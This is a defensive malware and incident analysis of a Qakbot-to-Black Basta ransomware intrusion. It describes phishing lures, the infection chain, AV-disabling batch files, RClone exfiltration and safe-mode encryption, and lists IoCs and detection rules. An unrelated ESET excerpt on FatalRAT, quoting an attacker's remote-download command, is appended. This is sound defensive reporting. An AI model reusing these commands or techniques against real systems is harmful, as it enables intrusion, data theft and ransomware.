Through the later review of the logging and after-action analysis of the event, more detections rules have been created to better alert on what visibility does exist in this, and many other, client environments.


TECHNICAL ANALYSIS INITIAL ACCESS: QAKBOT INFECTION

Technical Analysis Black Basta Malware Overview


The two phishing samples provided by the client show two different techniques: Email response as part of an Email Chain: "Re: RE: Logistics":


The phishing email came from a legitimate vendor "stoneworkers".


The phishing attachment was submitted to the target in a response to an ongoing conversation that was being held between a member of Quadrant’s client and the TPV.


The attacker submitted the email from "info[@]stoneworkers[.]org" while posing as "jpeterman[@]stoneworkers[.]org".


The email had applicable context and the email chain contains back and forth to another member of the TPV as well.


Cold Email: "Solution for Issue 37":


The phishing email came with no pretext from a site not used by the client.


However, it is important to note that the site seems to be owned by a legitimate venture capital group, which may indicate a compromise of their organization or that the email account was spoofed.


The attacker submitted the email from "support[@]capitalizedadventures[.]com" while posing as "Jay Peterman".


From the two phishing emails, both attachments contain similar malware.


Only changes to the filenames and corresponding commands were observed between the two.


When downloaded, the initial attachment is a local HTML file.


The web page claims to be an adobe site and that the attached document is a PDF which is password protected: Using the password "abc888" to unzip the attachment, the user is presented with an ISO file.


The two samples produced different ISO names: Claim_Copy_1796.iso and Claim_Copy_5898.iso.


The subdirectories to the fathomed directory, elude, omicron, and shabbily, are all empty as confirmed by navigating to them and running "ls -a" and returning no files.


This was verified through "du -h" which resulted in 4.0k size, which is consistent of an empty directory.


When opened in a Windows environment the following is displayed: The ISO mounts as a DVD Drive.


The "Claim_Copy" shows the icon for windows file explorer.


Clicking on these calls the corresponding JavaScript file contained within each iso.


In both cases the JavaScript files set several variables before running the ".cmd" file contained within the ISO.


This is likely done as a method to avoid detection from Log Analysis Engines, such as the Sagan Engine, as well as other monitoring services such as Microsoft's Defender or Sentinel.


The command is called with echo off, so that no text will be displayed to the user.


Ultimately, this CMD file calls the "db" file.


In both samples, the "db" file is not a database, but is the actual Qakbot trojan.


Something interesting to note: the "campus.txt" contains an excerpt from "Through the Looking Glass" by Lewis Carol.


This inclusion may be to add easily changeable padding to the ISO.


Doing so would allow the easy addition or subtraction of data in order to change the ISO’s hash value without changing any important content of the executables.


Following detonation of Qakbot, the malware copied itself to "$CURRENTUSER\AppData\Roaming\Microsoft\Isoaahffo\djkuuhd.dll," as confirmed by the file's hashes shown below, and sets itself to auto run.


Following this, the malware begins to beacon out to hard coded C2 servers.


A breakdown of the observed IP’s and their ports can be found in the INDEX A below.


This contains over 100 IP’s for potential C2 servers.


During the initial detonation of 5898, the process imbedded itself into wermgr.exe, the Windows Error Reporting Manager (Process ID 6660).


Further analysis of the registry keys added by the sample were able to be decrypted by leveraging the decryption script found at the link "https://github.com/drole/qakbot-registry-decrypt".


These show the full path to the dropped file "xjkuuhd.dll" as well as the Qakbot campaign identifier: "obama206."


As with the case with other Qakbot investigations, multiple potential IP’s were observed during the testing.


During the incident, the first warning sign of compromise came from the victims Cisco Advanced Malware Protection alerting.


Cisco AMP detected an attempt to contact "76[.]169[.]76[.]44"[Van Nuys, CA] over TCP port 2222.


It is interesting to note that other IP’s were attempted to be reached over port TCP 2222, however, this C2 node was the only IP to return any data over TCP port 2222, which may be why this alert triggered.


According to Suricata logs, this was also the first IP that was reached out to via 2222.


A later review of the logs revealed that the first attempt to contact the C2 ip’s ("61[.]70[.]29[.]53"[Taiwan]).


Due to TCP port 2222’s common use as an alternate port for SSH communication, the Malware Analyst recorded a manual SSH connection to the emulated C2 host in order to show the difference between an SSH connection and the connection made by the Malware sample.


Evidence suggests that the sample does not communicate over SSH and the communication is consistent with HTTP/S traffic.


The malware analyst attempted to connect via SSH to the emulated C2 host.


Note the first packet from the experimental machine to the emulated C2 device following the 3-way TCP handshake shows header information containing the OpenSSH client information.


This was produced manually as an example of an SSH connection while SSH was running on the emulated C2 host on port 2222.


An overview of the lab setup and tools can be found in INDEX B. While continuing to run the SSH client on the emulated C2 device, the malware was detonated on the VM, we can see that the same packet following the 3-way handshake no longer contains SSH information but is detected as a Client Hello.


The emulated C2 Server is now running an HTTPS server on TCP port 2222.


This PCAP above shows the conversation from the 3-way handshake to the resetting of the connection.


Following observation of the malware samples, we now know that most of the connection attempts to the C2 IP’s are conducted over TCP port 443.


Because of the common use of this port, and the use of TLS in these connections, both attempts and the successful connections went undetected by Suricata and Cisco AMP.


Many of the connections over 443 resulted in minimal connections consistent with nothing more than TCP negations.


However, IP’s "119[.]42[.]124[.]18"[Thailand] and "193[.]3[.]19[.]37"[Russia] showed multiple packets and data transferred, including the exchange of TLS certificates.


The size and length of connection indicates that the second stage was downloaded from "193[.]3[.]19[.]37"[Russia].


The largest connection between P0 and the C2 domain.


Because of the amount of data outbound, this also may indicate some data exfiltration or interaction with the downloaded second stage from the C2.


POST-EXPLOITATION TECHNIQUES, TACTICS, AND PROCEDURES COMMAND AND CONTROL Initial Command and Control was initially conducted from "23.19.58.43"[zedorocop[.]com] and "23.106.160.141" [danimos[.]com].


POTENTIAL COBALT STRIKE INSTALLATION - TOX5.EXE Initial static review of the tox5 sample did not reveal much information, indicators show that this may have the ability to clear event logs.


A dynamic analysis of "Tox5" shows the malware drops itself in a randomly generated name folder under the "ProgramData" directory and adds itself to a scheduled task.


During the lab testing of the tox5 sample, we observed the sample gain persistence through duplication of the sample.


This is observed below by comparing the file hashes for "tox5.exe" and "C:\ProgramData\lplshr\basinqt.exe."


Although no obvious signs of compromise were apparent to the user of the infected host, a review of the network traffic from the host showed the newly installed program reached out to "gerhiles[.]com", which had been observed during the incident as a Command and Control site.


Following the resolution of gerhiles[.]com, and the activation of "INetSim" to simulate a website, the PCAP above shows connections were attempted over port 4001.


Leveraging "netstat -a -n -o" revealed the PID of the service connecting on port 4001.


Task manager was then use to reveal the service running on PID 3488, which was renamed instance of Tox5.


Because of the beaconing activity, persistence, and apparent ability to wipe event logs, it is likely that tox5 is a component of Cobalt Strike or similar framework.


LATERAL MOVEMENT: SMB AND RDP Brute Ratel allows for lateral movement leveraging RPC to create SMB traffic.


Although no direct RPC actions were observed, possibly from lack of logging or the method of RPC use, multiple logs throughout the incident show the transfer of files using SMB.


Logging shows actions taken by the attacker that were recorded by RDPClip in the form of clipboard logging, indicating the use of Remote Desktop Protocol.[CI1]


[SD2] After the connection to the internet and shared domains were severed, automated processes continued to propagate malware.


Files commonly observed transferred via SMB include: Black Basta Ransomware "Client_s.exe" and "Client.exe" Cobalt Strike beacon with the name of "Ticket-5731.xls" ".bat" files designed to disable Cisco AMP / Microsoft Defender Clipboard logging


Showing the Transfer of Cobalt Strike Beacons using RDPClip: The first part of the command is below, with the payload redacted for size and ease of readability.


This occurred immediately following the clipboard transfer of the command "net stop Cisco AMP".


The second encoded Base64 string was not only base64 but also Gziped for size and obfuscation.


This shows the decoded and uncompressed data.


Leveraging the Cobalt Strike payload decoder from Github user "0xtornado" shows that the payloads were sent using the user agent below.


Additional Files and commands observed transferred detected via clipboard logging:


The following 31 commands were ran between Sep 22, 2022 @ 20:01:39.000 and Sep 22, 2022 @ 20:02:46.000.


The syntax indicates these are the commands used to reset the administrative passwords following the attempted lock out of the threat actor.


According to Google translate, the Russian phrases translate to "bury along the way" and "launch with balloons".


This may be direct translations, however adding any additional character following the Russian phrases changes the translation to "Lock on Path", and "launch with balls" respectfully.


Also note the use of "-forcepath" and "-bomb".


A search of Active Directory for users whose passwords never expire, and the last set date while writing to a file for later exfiltration: Stopping Cisco AMP / Disabling Microsoft Defender, these are the same commands as observed in the ".bat" files: Transfer and use of Ticket-5731.xls


(determined to be Cobalt Strike): Url to download "cob_12.dll" and "tox5.exe".


Although cob_12.dll was not collected for technical sample, tox5.exe was reviewed: Clipboard logging showing the “uninstall” commands for Windows Defender: Adding an Admin to ESXi environment: Domain Controller detection: Connection attempt to a "SH/WEB" domain:


Command showing the use of "Bitsadmin" to transfer the Black Basta Ransomware: Connection from Client by threat actor: DISABLING ANTIVIRUS/MALWARE SOFTWARE USING ".BAT"


FILES


The two ".bat" files that were sent throughout the organization were both designed to turn off Antivirus and Antimalware software.


It is interesting to note that “cc.bat” does not use any obfuscation and just contains the simple command to stop AMP Orbital.


This could indicate that it was written hastefully in order to get it onto the target environment.


"cc.bat" is a simple script designed to stop Cisco AMP.


“W.bat”, on the other hand, has some simple but clever obfuscation in place.


When using "vim” or another text editor, the .bat file appears to contain Chinese characters.


However, performing "cat" or "strings" reveals the actual data.


This uses a mixture of disguising the ASCII as UTF-16 via manipulating the start of the file, as well as obfuscating the data using a simple cypher.


The strings of characters following "set" act as the key.


When the script is executed, the system will swap out the numbers in the body for the place in the key string.


The link from Superuser[.]com in INDEX D goes into more specifics on how this is done.


"w.bat" as viewed through a text editor.


For this example, the text editor "vim” was used to open the file: "w.bat" as viewed through the bash command "cat":


After copying and pasting the body of "w.bat" into its own text document "w.txt", the team was able to run a lengthy "sed” command against the file to reveal the below: The sed statement used to decode the body of "w.bat":


EXFILTRATION THROUGH RECLONE Once the file server was identified, an FTP connection was established to an external site.


Over the past several years, multiple cyber security firms and the FBI have posted increased observation of the use of “RClone” to exfil data.


Suricata Flow log from "Subsidiary PIE" to the IP resolved for “Rclone”.


This likely shows the connection containing the download of RCLONE.


First connection on Subsidiary PIE to the external file dump: First connection on Construction PIE to the external file dump.


(Other logs are available showing the DNS request and download of RClone for the Construction domain as well): ENCRYPTION VIA BLACK BASTA RANSOMWARE


Two file names were observed during the incident "Client_s.exe" and "Client.exe."


It is expected that the different naming schemes are related to the different variations of the ransomware.


Although no sample was able to be provided for Client.exe (which is believed to be the ESXi variant), Quadrant was able to obtain a copy of "Client_s.exe" for Windows hosts.


From a static malware analysis review, very little was initially able to be obtained from the sample aside from the ".basta" suffix and a relation to "Fax." Static analysis conducted inside of x32dbg, showing a relation to "FAX" and the potential use of the directory "ProgramData": Upon detonation, running the malware sets itself up as the service "Fax" and enables it to start during safe boot.


The ransomware then proceeds to restart into safe mode using bcdedit.exe.


BCDEdit is a command line program in windows which is used to modify the “Boot Configuration Data.”


While in safe mode, the encryption of files occurs.


Once the encryption is complete, the system is then restarted into the standard operating mode.


Using the automated malware analyzer CAPEv2 allowed for the detection and capture of this JSON, which indicates the creation of a Mutex: Using the automated malware analyzer CAPEv2 allowed for the detection and capture of this JSON, which shows the addition of "Fax" to the registry allowing it to start in Safemode: Using the automated malware analyzer CAPEv2 allowed for the detection and capture of this JSON which shows the use of BCDEdit to restart the host into safemode with networking:


Following infection, the host restarts into safe mode where the encryption action takes place: Following the encryption, the computer then restarts into standard mode.


The background has been replaced to show "Your Network is Encrypted by the Black Basta group.


Instruction in the file readme.txt" the only files still accessible to the user are the "readme" files.


During the end state of the active compromise, two flags were observed in Clipboard logging, "-bomb" and "-forcepath".


The writeups conducted by "Northwave-Security" and "Deepinstinct" share more light onto these flags.


These show that "bomb" designates a full detonation of all reachable hosts, and "forcepath" is for a specific instance or directory.


According to the recent writeups above, this indicates that this is one of the newest renditions of the malware.


We are attempting to better understand the use of the "-bomb" flag and how it communicates with the other infected machines.


It is likely that the reason the machine is restarted into safe mode with networking indicates that this communication may occur at this time.


INDEX


A: INDICATORS OF COMPROMISE FILE NAMES AND HASH VALUES File Name SHA-256 Hash Claim_Copy_1796.iso 2cf56e6c050d0c9d8ada6cdb79a8ed2b8bbc25cd7d33ccc79aeedb31b5ad00df damagesMeaning.js 7a39324822941014609f0fd7d05f1adbbccc3f36d79103e2589251680f3b6c63 centipede.gif e8f5fa12faea9430645853fbb24ce46a5a62cb906168dd17b62d865ddfe201e3 DecomposedLoners.cmd cd5b4bd824bad0be78e4cdf6d7fe8a950bd63f294713b8cb49de887d8a8410bc excite.jpg 4fd4fdedb11b76a24fba289e0b3a8ed07261f98d279932420c7af779663605f8 sinkers.db c4875bd0683467c1e5d44f80b1d5abf6ac9b6f5bf5b6750a1e653416a68ed006 Claim_Copy_5898.iso 474b800fa4f8c2638607b012029cb134b58534e7817fbf3658c9c1d8c78204fa Claim_Copy.lnk e2eb9029fd993a9ab386beb7ca4fa21a1871dc0c7568eb802cac1ea3c53cad8b campus.txt 319704f093b71286985716d87c6fb20d6ddc334be6f1ccc042de8c73f7f5df36 centipede.gif e8f5fa12faea9430645853fbb24ce46a5a62cb906168dd17b62d865ddfe201e3 clockwatcherMinty.js 14d53c3d675458863ee2b336a4203f680932181ff5db99bb2f1640ffd44947b5 excite.jpg 4fd4fdedb11b76a24fba289e0b3a8ed07261f98d279932420c7af779663605f8 meddled.db 4f7d97bf4803bf1b15c5bec85af3dc8b7619fe5cfe019f760c9a25b1650f4b7c unspoolingPeak.cmd 4b3eb841b765c4aeb6b273e42a60e1f8ba3d3d94c613a27cd6446a354c2b7285 w.bat 4e54d7ed5055bc0e7858d49aaec17bd3ed69e8da94262c6a379ddd81abc31b5e cc.bat 90e9bd336e51c88002e5e9a109c5fb0e57d2c90cd54d4bc7480b69fa302beb73 tox5.exe d4dd79c97b091dd31791456c56d727eb0b30af9c0172dd221556d28495b8a50f Client.exe 5b8bf891808be44f24156cf5430730e610c0df6eaaa4b062623a7a675d234b62 Cleint_s.exe 17eccc7e2ce38dafd41d68861da636d7c05290b95d4fd75ec87b819094702cf6 Zfgufgfvezdnbcvjkzctpvfdj.dll 62cb24967c6ce18d35d2a23ebed4217889d796cf7799d9075c1aa7752b8d3967 HARDCODED IP'S OBSERVED FROM QAKBOT SAMPLES IP Port Observed Country AbuseIPDB Score 1.10.253.207 443 Thailand 0 2.89.78.130 993 Saudi Arabia 0 14.183.63.12 443 Viet Nam 0 27.73.215.46 32102 Viet Nam 0 31.166.116.171 443 Saudi Arabia 30 31.32.180.179 443 France 0 31.54.39.153 2078 United Kingdom 0 37.37.206.87 995 Kuwait 0 37.76.197.124 443 Palestine 0 41.103.226.172 443 Algeria 0 41.105.197.244 443 Algeria 0 41.107.78.223 995 Algeria 0 41.142.132.190 443 Morocco 0 41.69.103.179 995 Egypt 0 41.96.171.218 443 Algeria 0 45.160.124.211 995 Brazil 0 45.183.234.180 443 Brazil 0 45.241.140.181 995 Egypt 0 45.51.148.111 993 United States of America 0 46.116.229.16 443 Israel 0 46.186.216.41 32100 Kuwait 0 47.146.182.110 443 United States of America 0 61.105.45.244 443 Korea (Republic of) 0 61.70.29.53 443 Taiwan 0 62.114.193.186 995 Egypt 0 64.207.215.69 443 Afghanistan 0 66.181.164.43 443 Mongolia 0 68.129.232.158 443 United States of America 0 68.151.196.147 995 Canada 0 68.224.229.42 443 United States of America 0 68.50.190.55 443 United States of America 0 68.53.110.74 995 United States of America 0 70.49.33.200 2222 Canada 0 70.51.132.197 2222 Canada 0 70.81.121.237 2222 Canada 0 71.10.27.196 2222 United States of America 0 72.66.96.129 995 United States of America 0 72.88.245.71 443 United States of America 0 76.169.76.44 2222 United States of America 0 78.182.113.80 443 Turkey 0 81.214.220.237 443 Turkey 0 81.56.22.251 995 Italy 0 83.110.219.59 993 United Arab Emirates 0 84.238.253.171 443 Bulgaria 0 84.38.133.191 443 Netherlands 0 85.114.110.108 443 Palestine 0 85.139.203.42 32101 Portugal 0 85.98.206.165 995 Turkey 0 85.98.46.114 443 Turkey 0 87.220.229.164 2222 Spain 0 87.243.113.104 995 Bulgaria 0 87.75.195.211 443 United Kingdom 0 88.231.221.198 443 Turkey 0 88.231.221.198 995 Turkey 0 88.232.207.24 443 Turkey 0 88.242.228.16 53 Turkey 0 88.245.168.200 2222 Turkey 0 88.246.170.2 443 Turkey 0 88.251.38.53 443 Turkey 0 89.211.217.38 995 Qatar 0 89.211.223.138 2222 Qatar 0 91.116.160.252 443 Spain 0 94.99.110.157 995 Saudi Arabia 0


95.136.41.50 443 Portugal 0 98.180.234.228 443 United States of America 0 99.232.140.205 2222 Canada 0 99.253.251.74 443 Canada 0 100.1.5.250 995 United States of America 0 102.101.231.141 443 Morocco 0 102.184.151.194 995 Egypt 0 102.38.97.229 995 South Africa 0 102.40.236.32 995 Egypt 0 105.105.104.0 443 Algeria 0 105.111.60.60 995 Algeria 0 105.99.80.23 443 Algeria 0 109.155.5.164 993 United Kingdom 0 109.200.165.82 443 Yemen 0 110.4.255.247 443 Japan 0 113.22.102.155 443 Viet Nam 0 118.174.200.169 995 Thailand 0 118.216.99.232 443 Korea (Republic of) 0 118.68.220.199 443 Viet Nam 0 119.42.124.18 443 Thailand 0 119.82.111.158 443 India 0 123.240.131.1 443 Taiwan 1 134.35.9.144 443 Yemen 0 138.0.114.166 443 Brazil 0 139.195.132.210 2222 Indonesia 0 139.195.63.45 2222 Indonesia 0 141.164.254.35 443 Saudi Arabia 0 151.234.63.48 990 Iran (Islamic Republic of) 0 154.181.203.230 995 Egypt 0 154.238.151.197 995 Egypt 0 154.246.182.210 443 Algeria 0 156.213.107.29 995 Egypt 0 156.219.49.22 995 Egypt 0 160.152.135.188 2222 Nigeria 0 160.176.204.241 443 Morocco 0 167.60.82.242 995 Uruguay 0 169.1.47.111 443 South Africa 0 171.238.230.59 443 Viet Nam 0 171.248.157.128 995 Viet Nam 0 173.218.180.91 443 United States of America 0 176.42.245.2 995 Turkey 0 177.255.14.99 995 Colombia 0 179.108.32.195 443 Brazil 0 179.223.89.154 995 Brazil 0 179.24.245.193 995 Uruguay 0 180.180.131.95 443 Thailand 0 181.111.20.201 443 Argentina 0 181.118.183.123 443 Argentina 0 181.127.138.30 443 Paraguay 0 181.231.229.133 443 Argentina 0 181.56.125.32 443 Colombia 0 181.80.133.202 443 Argentina 0 181.81.116.144 443 Argentina 0 182.213.208.5 443 Korea (Republic of) 0 184.82.110.50 995 Thailand 0 184.99.123.118 443 United States of America 0 186.105.182.127 443 Chile 0 186.120.58.88 443 Dominican Republic 0 186.154.92.181 443 Colombia 0 186.167.249.206 443 Venezuela (Bolivarian Republic of) 0 186.50.245.74 995 Uruguay 0 187.205.222.100 443 Mexico 0 188.157.6.170 443 Hungary 0 189.19.189.222 32101 Brazil 0 190.158.58.236 443 Colombia 0 190.44.40.48 995 Chile 0 190.59.247.136 995 Trinidad and Tobago 0 191.254.74.89 32101 Brazil 0 191.84.204.214 995 Argentina 0 191.97.234.238 995 Argentina 0 193.3.19.37 443 Russian Federation 0 194.166.205.204 995 Austria 0 194.49.79.231 443 United States of America 0 196.112.34.71 443 Morocco 0 196.92.172.24 8443 Morocco 0 197.11.128.156 443 Tunisia 0 197.204.243.167 443 Algeria 0 197.49.50.44 443 Egypt 0 197.94.84.128 443 South Africa 0 201.177.163.176 443 Argentina 0 210.195.18.76 2222 Malaysia 0 211.248.176.4 443 Korea (Republic of) 0 212.156.51.194 443 Turkey 0 219.69.103.199 443 Taiwan 0 220.116.250.45 443 Korea (Republic of) 0 ADDITIONAL IP'S OBSERVED IP Domain Country Abuseipdb Score 23.106.123.13 NA Singapore 0 23.106.160.141 danimos[.]com United States of America 0 23.19.58.43 zedorocop[.]com United Kingdom 0 23.29.115.172 NA United States of America 0 45.132.226.209 NA Switzerland 3 45.134.22.54 NA Italy 0 45.153.241.64 NA Germany 0 45.61.138.29 NA United Kingdom 0 45.86.200.21 NA Netherlands 0 45.86.200.77 NA Netherlands 0 45.89.242.2 NA United Kingdom 1 47.87.229.39 temp[.]sh United States of America 0 64.52.80.212 NA United States of America 0 78.141.213.249 NA Netherlands 0 104.194.10.130 NA United States of America 0 104.243.38.65 NA United States of America 0 138.199.59.52 NA Poland 0 146.70.106.61 NA Netherlands 0 146.70.86.44 gerhiles[.]com Netherlands 0 151.236.28.34 NA Netherlands 0 172.93.100.71 NA United States of America 0 176.10.80.37 NA United Kingdom 0 176.90.193.145 NA Turkey 0 185.163.110.124 NA Romania 0 185.77.218.10 NA Finland 0 194.37.97.161 NA United States of America 0 194.5.53.215 NA France 0 194.5.53.86 NA France 0 207.229.167.36 NA United States of America 100 212.30.37.227 NA Netherlands 0 INDEX B: MALWARE ANALYSIS LAB AND TOOL OVERVIEW


The lab environment consisted of three Virtual Machines running inside of VMWare Workstation 16 Pro.


The network was configured not to allow any connection to the internet.


HOST 1: ANALYSIS HOST


The analysis host ran the Linux distro "REMnux."


Upon startup, an iptables setup script was ran containing all the hardcoded C2 IP’s for the Qakbot malware.


This was done in order to all the malware to communicate with the hard coded IP’s without allowing commination to a C2 host.


Additional software used during the analysis includes:


Wireshark:


Network packet capture and analysis Inetsim: An "Internet Simulation" tool which creates fake http and other services for malware samples to interact with.


FakeDNS: A fake DNS service which responds with a predetermined IP.


Default IP is the host FakeDNS is installed on.


Readpe.py: Used to read Portable Executable files.


HOST 2: EXPERIMENTAL HOST


The experimental host rans Windows 10 build 19041.


This host was used for detonation of the malware samples provided by the client.


NXlog is installed on this host.


Windows logging is forwarded to Host 3.


Host 1 is configured to be the internet gateway.


Aside from the logging connection to host 3, all other connections are forced through Host 1.


Interactive debugging program.


Regshot: Captures a "snapshot" of the registry before and after detonation of a sample to observe the changes on the host.


Network packet capture and analysis.


Qakbot Registry Decryption Tool: Used to decrypt Qakbot registry entries.


HOST 3: LOGGING HOST The logging host runs Debian 11.


This host only receives windows logging from Host 2. INDEX C: LIST OF SAGAN RULES DEVELOPED FROM THIS INCIDENT Rules that were developed following this incident.


A full list of Sagan Rules can be found on github.com/quadrantsec/sagan-rules Rule Name SID [CISCO-SECUREENDPOINT] Exploit attempt was detected 5008352


[CISCO-SECUREENDPOINT] Exploit attempt was prevented 5008355


[CISCO-SECUREENDPOINT] Event Engine Detection 5008356


[WINDOWS-CLIPBOARD] Get-ADGroupMember Command 5008362


[WINDOWS-CLIPBOARD] Get-ADUser Command 5008363


[WINDOWS-CLIPBOARD] Service being stopped 5008364


[WINDOWS-CLIPBOARD] Powershell Policy Bypass Command 5008365


[WINDOWS-CLIPBOARD]


Disable Windows Defender Command 5008366


Disable Realtime Monitoring Command 5008367


[WINDOWS-CLIPBOARD] Uninstall Windows Defender Command 5008368


[WINDOWS-CLIPBOARD] Remoe-exec psexec command 5008369 [WINDOWS-CLIPBOARD]


Powershell encodedcommand 5008370 [WINDOWS-CLIPBOARD] rundll32 command 5008371


[WINDOWS-CLIPBOARD] rundll32 command with DllRegisterServer 5008372


[WINDOWS-CLIPBOARD] net commands 5008373 [WINDOWS-CLIPBOARD] net commands 5008374 [WINDOWS-CLIPBOARD] query user command 5008375


[WINDOWS-CLIPBOARD] rwinsta command 5008376 [WINDOWS-CLIPBOARD] nltest command 5008377


[WINDOWS-CLIPBOARD] netstat output v1 5008378 [WINDOWS-CLIPBOARD] netstat output v2 5008379


[WINDOWS-CLIPBOARD] copy from share drive to local C: command 5008380


[WINDOWS-CLIPBOARD] bitsadmin file transfer command 5008381


[WINDOWS-CLIPBOARD] proxychains command 5008382


[WINDOWS-SECURITY] Service being stopped by net command v1 5008343


[WINDOWS-SECURITY] Service being stopped by net command v2 5008344


[WINDOWS-SECURITY]


Disable Windows Security 5008347


[WINDOWS-SECURITY] Copied rundll32 command executing non-standard dll 5008348


[WINDOWS-SECURITY] Possible UAC Bypass - Rundll32.exe using DLLRegister 5008351


[WINDOWS-SECURITY] Exfil software rclone detected 5008354 [WINDOWS-SECURITY]


A service was installed in the system (powershell) 5008357 [WINDOWS-SECURITY]


A service was installed in the system (DllRegisterServer) 5008358 [WINDOWS-SECURITY]


A service was installed in the system (rundll32 .xls) 5008359 [WINDOWS-SECURITY]


A service was installed in the system (rundll32 public directory) 5008360 [WINDOWS-SECURITY]


Blackbasta ransomware file extension detected (.basta)


5008361 [WINDOWS-SYSMON] CMD executed from spool directory 5008345


[WINDOWS-SYSMON] Rundll32 network connection detected 5008346


[WINDOWS-SYSMON]


Possible Traversal - File created in Public directory 5008349


[WINDOWS-SYSMON] Possible hidden service installed 5008350


[WINDOWS-SYSMON] Process Injection - Rundll32 remote thread into winlogon 5008353 [WINDOWS-SYSMON] Safeboot Registry Entry - Possible Blackbasta 5008399 INDEX D: REFERENCES -Deepinstinct’s review of similar Black Bast activityhttps://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence -Northwaves review of similar Black Basta activity to include the use of Qbot and Ransomware https://northwave-security.com/en/black-basta-blog/ -VirusTotal results for the file has of zfgufgfvezdnbcvjkzctpvfdj.dll, indicating Brute Ratel https://www.virustotal.com/gui/file/62cb24967c6ce18d35d2a23ebed4217889d796cf7799d9075c1aa7752b8d3967 -Brute Ratel and the use of PSEexc showing use of SMB for Remote Control:https://bruteratel.com/tabs/badger/commands/psexec/ -Brute Ratel and RPC Services:https://bruteratel.com/tabs/badger/commands/services/ -Recent warning regarding use of RCLONE by threat actors "Daixin Team" https://www.cisa.gov/uscert/ncas/alerts/aa22-294a -Qakbot Registry Decryption Tool https://github.com/drole/qakbot-registry-decrypt -Cybercheif recipe to extract and decode Shellcode from Bobal Strike Beacon https://gist.github.com/0xtornado/69d12572520122cb9bddc2d6793d97ab -Decoding of files similar to "w.bat" https://superuser.com/questions/1676713/how-to-decode-contents-of-a-batch-file-with-chinese-characters -Quadrant’s Github page for the Sagan Log Analysis Enginehttps://github.com/quadrantsec/sagan-rules For more information regarding this analysis interested parties should contact cclark@quadrantsec.com


ESET researchers have identified a campaign using trojanized installers to deliver the FatalRAT malware, distributed via malicious websites linked in ads that appear in Google search results ESET researchers identified a malware campaign that targets Chinese-speaking people in Southeast and East Asia by buying misleading advertisements to appear in Google search results that lead to downloading trojanized installers.

These arent the apps youre looking for fake installers targeting Southeast and East Asia


The unknown attackers created fake websites that look identical to those of popular applications such as Firefox, WhatsApp, or Telegram, but in addition to providing the legitimate software, also deliver FatalRAT, a remote access trojan that grants the attacker control of the victimized computer.


Key points of the blogpost: The attackers purchased advertisements to position their malicious websites in the “sponsored” section of Google search results.


We reported these ads to Google and they were promptly removed.


The websites and installers downloaded from them are mostly in Chinese and in some cases falsely offer Chinese language versions of software that is not available in China.


We observed victims mostly in Southeast and East Asia, suggesting that the advertisements were targeting that region.


We observed these attacks between August 2022 and January 2023, but according to our telemetry previous versions of the installers have been used since at least May 2022.


None of the malware or network infrastructure used in this campaign has been matched to known activities of any named groups, so for now we have not attributed this activity to any known group.


Victimology Figure 1 shows a heatmap with the countries where we detected the attacks between August 2022 and January 2023.


Most of the attacks affected users in Taiwan, China and Hong Kong.


Countries where we detected the attacks between August 2022 and January 2023 We also observed a small number of cases in: Malaysia Japan The Philippines Thailand Singapore Indonesia Myanmar Attack overview A simplified overview of the attack is shown in Figure 2.


A chain of multiple components ultimately installs the FatalRAT malware that was described by AT&T researchers (@attcyber) in August 2021.


Simplified overview of the attack Fake websites


The attackers registered various domain names that all pointed to the same IP address: a server hosting multiple websites that download trojanized software.


Some of these websites look identical to their legitimate counterparts but deliver malicious installers instead.


The other websites, possibly translated by the attackers, offer Chinese language versions of software that is not available in China, such as Telegram, as shown in Figure 3. Figure 3.


Fake Telegram website that delivers the FatalRAT malware We observed malicious websites and installers for these applications, roughly in order of popularity: Chrome Firefox Telegram WhatsApp Line Signal Skype Electrum Bitcoin wallet Sogou Pinyin Method, a Chinese Pinyin input method editor Youdao, a dictionary and translation application WPS Office, a free office suite You can see other fake websites in the gallery shown in Figure 4 (click on an image to enlarge it).


Apart from electrumx[.]org, a fake website in English for the Electrum Bitcoin wallet, all the other websites are in Chinese, suggesting that the attackers are mostly targeting Chinese speakers.


Fake websites created by the attackers to deliver malicious installers (click to enlarge)


While in theory there are many possible ways that potential victims can be directed to these fake websites, a news site reported (English version here) that they were being shown an advertisement that led to one of these malicious websites when searching for the Firefox browser in Google.


We couldn’t reproduce such search results, but believe that the ads were only served to users in the targeted region.


An example is shown in Figure 5 (image from the original post above).


We reported the websites to Google and the ads were taken down.


Search results for Firefox, with a fake website advertised (image credit: landiannews.com)


Given the fact that many of the domain names that the attackers registered for their websites are very similar to the legitimate domains, it is also possible that the attackers rely on typosquatting as well to attract potential victims to their websites.


Some examples are: You’ll find the rest of the domain names that we observed in the IoCs section.


Installers The installers downloaded from the fake websites are not hosted on the same server as the websites, but in the Alibaba Cloud Object Storage Service.


They are digitally signed MSI files (see the Certificates section) created with Advanced Installer.


Figure 6 shows the malicious installers that the attackers uploaded to the cloud storage on January 6th, 2023.


Malicious installers uploaded by the attackers to their cloud storage on January 6th, 2023 When these installers are executed, they usually: Drop and execute the malicious loader, and files needed to run the FatalRAT malware, in the %PROGRAMDATA%\Progtmy directory.


Drop the malicious updater and related files in the %PROGRAMDATA%\Progtmy\0 directory.


Drop a file named ossutilconfig in the %USERPROFILE% directory.


This file contains credentials used by the updater to connect to a remote bucket in the Alibaba Cloud.


Create an empty directory %


PROGRAMDATA%\Progptp (although we observed some cases where the FatalRAT malware was installed in this directory instead).


Drop and execute the legitimate installer in C:\Program Files\Common Files (see CommonFiles64Folder).


Create scheduled tasks to execute the loader and updater components.


The malware is run by side-loading a malicious DLL, libpng13.dll, which is used by sccs.exe (Browser Support Module), a legitimate executable developed by Xunlei.


The original libpng13.dll is also included in the installer package (renamed to what appears to be a random name) because the malicious DLL forwards its exported functions to the original DLL.


Some of the forwarded exports in the malicious DLL are shown in Figure 7.


The image shows that the original DLL was renamed to BHuedjhd.dll in this example and that the malicious DLL was compiled as Dll22.dll.


Part of the exported functions in the malicious DLL that are forwarded to the original The malware updater is executed in a similar manner, by side-loading dr.dll, used by a legitimate, signed binary developed by Tencent.


The malicious DLL is very simple and executes OSSUTIL (included in the installer package as ssu.exe) to download files from an attacker-controlled bucket in Alibaba Cloud.


The command executed by the DLL is: cmd /C


“C:\ProgramData\Progtmy\2\ssu.exe cp -r oss://occ-a1/dll/3/ C:\ProgramData\Progtmy\ –update” This should update files in the %PROGRAMDATA%\Progtmy local directory from the remote bucket occ-a1 (a different bucket than the ones used to store the installers, but in the same account), but it doesn’t work in any of the installers that we analyzed because the %PROGRAMDATA%\Progtmy\2 subdirectory doesn’t exist (it should be subdirectory 0, created by the installer).


The attackers made the same mistake with the scheduled tasks created for the updater, as the execution path also refers to a subdirectory 2 that doesn’t exist.


